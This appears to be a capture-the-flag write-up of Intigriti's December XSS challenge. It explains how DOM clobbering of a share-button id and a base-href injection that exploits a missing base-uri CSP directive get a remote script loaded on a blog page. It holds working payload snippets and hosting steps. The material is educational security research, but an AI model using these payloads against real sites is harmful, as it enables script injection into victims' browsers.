Introduction

This write-up aims to describe the steps that I did to solve the Intigriti’s december XSS challenge, which was created by Florian (@fh4ntke).

Christmas Blog is a simple blog mechanism, in which each user has your own blog page. Based on it, the blog’s pages can be accessed from public URLs.

The exploit can be accessed directly here (unintended solution).

User inputs

According to the application’s functionalities, the user may manipulate the following data inputs:

  1. Username (Create an user);
  2. Content (Edit blog’s content);
  3. Tags (Edit blog’s content);
  4. Name (Publish a comment in the blog’s page);
  5. Comment (Publish a comment in the blog’s page).

Inserting an HTML element as <h1>test</h1> in all options above, option 2 is the only one that actually renders HTML, as shown in the image below.

Input test

With the input found, it may test any HTML element that can leverage to a JavaScript execution. This step can be made by using the Cross-site scripting (XSS) cheat sheet, maintained by PortSwigger [1]. Once the data are sent to the application, is made some sanitization against tags <> and events. Thus, some attempts at payloads will not work as expected.

Source code

Looking at the source code, there are two important pieces of code. The first one between script tags and the second one loaded as an import /static/js/bootstrap.bundle.min.js. The main content of scripts tags is shown below:

<script nonce="<randon>">
  ...

  document.addEventListener("DOMContentLoaded", function(){
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const share = urlParams.get('share')
    if (share != null) {
        let share_button = document.querySelector("#share-button");
        share_button.click()
    }

    ...
  }
</script>

The script is based on the GET parameter share, which is possible to trigger a click on the share button. Once the parameter ?share=1 has some content when the DOM is loaded, the click will be trigged. Therefore, the script makes this by getting the id share-button.

DOM clobbering

According to PortSwigger, DOM clobbering is a technique in which you inject HTML into a page to manipulate the DOM and ultimately change the behavior of JavaScript on the page. It is useful in cases where XSS is not possible, but you can control some HTML on a page where the attributes id or name are whitelisted by the HTML filter [2].

The id share-button can be used to exploit DOM clobbering by adding an HTML element with the same id value. Thus, the approach is to create an a element with the id value share-button and set the href attribute with some content to be trigged. So, href can be an URL, which may cause an open redirect. Another option is to use javascript: to trigger a JavaScript execution. The following code shows these two options.

<a id=share-button href=//twitter.com/EffectRenan>CLICK</a>
<a id=share-button href=javascript:alert()>CLICK</a>

CSP bypass

Doing the previous step, clicking on javascript:alert() is not executed due to the CSP rules. These rules can be easily checked with the CSP evaluator using challenge-1222.intigriti.io. The CSP rules are shown below:

CSP Evaluator

The application is setting the directive script-src to nonce, which is applied for the browser to verify if an HTML element is trusted to execute JavaScript code [3]. This nonce is a hash randomly generated by the server in each request made. So the hash cannot be guessed to use in a element.

The CSP Evaluator shows a huge CSP weakness: base-uri. The <base> element specifies the base URL to use for all relative URLs in a document [4]. Furthermore, if the base is set to https://effectrenan.com, all JavaScript imports will be loaded from that URL.

Based on the source code step, the script /static/js/bootstrap.bundle.min.js is being imported. Thus, as this HTML element already comes with a valid nonce from the server, it is possible to set the base to an URL. The import will be from https://<base URL>/static/js/bootstrap.bundle.min.js. Consequently, the XSS is achieved by using an URL controlled and it needs to host the path /static/js/bootstrap.bundle.min.js with the payload.

Payload

According to the rules of the challenge, it is required to run an alert showing the username of the victim. This requirement can be achieved by reading the DOM, in which the username is placed in a class navbar-brand, as shown in the image below.

Username

The code below shows a way to parser it. When the victim is not logged in, it just pops an alert with the window.location:

const text = document.getElementsByClassName("navbar-brand")[0].textContent;
const username = text.split('- ')[1];
(username) ? alert(username.split('\n')[0]) : alert(document.location);

PoC

Host the payload:

  1. Open Webhook.site;
  2. Click on Edit in the top-right bar;
  3. Change the Content Type to text/html and put the payload in Response body;
  4. Click on save button;
  5. Copy the URL by clicking on Copy in the top-right bar and then click on URL.

webhook.site step

It’s necessary to place in the correct path /static/js/. BugPoc has a great tool called Flexible Redirector. Basically, it can be used to make a redirect to an URL without caring about the endpoint. The image below shows an example based on https://blog.effectrenan.com.

BugPoC - Flexible Redirector

With the URL copied from webhook.site, use it in Flexible Redirector to get the final URL to use in the base element. Just copy the first URL that Flexible Redirector gives.

The exploit will look like this:

<base href="<Flexible Redirector URL>"/ >

The last step is to access the Edit page in your account on the URL of the challenge and edit the content with the exploit.

Edit page

Exploit

Sample: https://challenge-1222.intigriti.io/blog/931c10b1-67df-42c8-afe1-f8852de1c4f1

References

  1. Cross-site scripting (XSS) cheat sheet - PortSwigger.
  2. DOM clobbering - PortSwigger.
  3. Content Security Policy - Google Developers.
  4. Policy applies to a wide variety of resources - Google Developers.
  5. CSP Evaluator.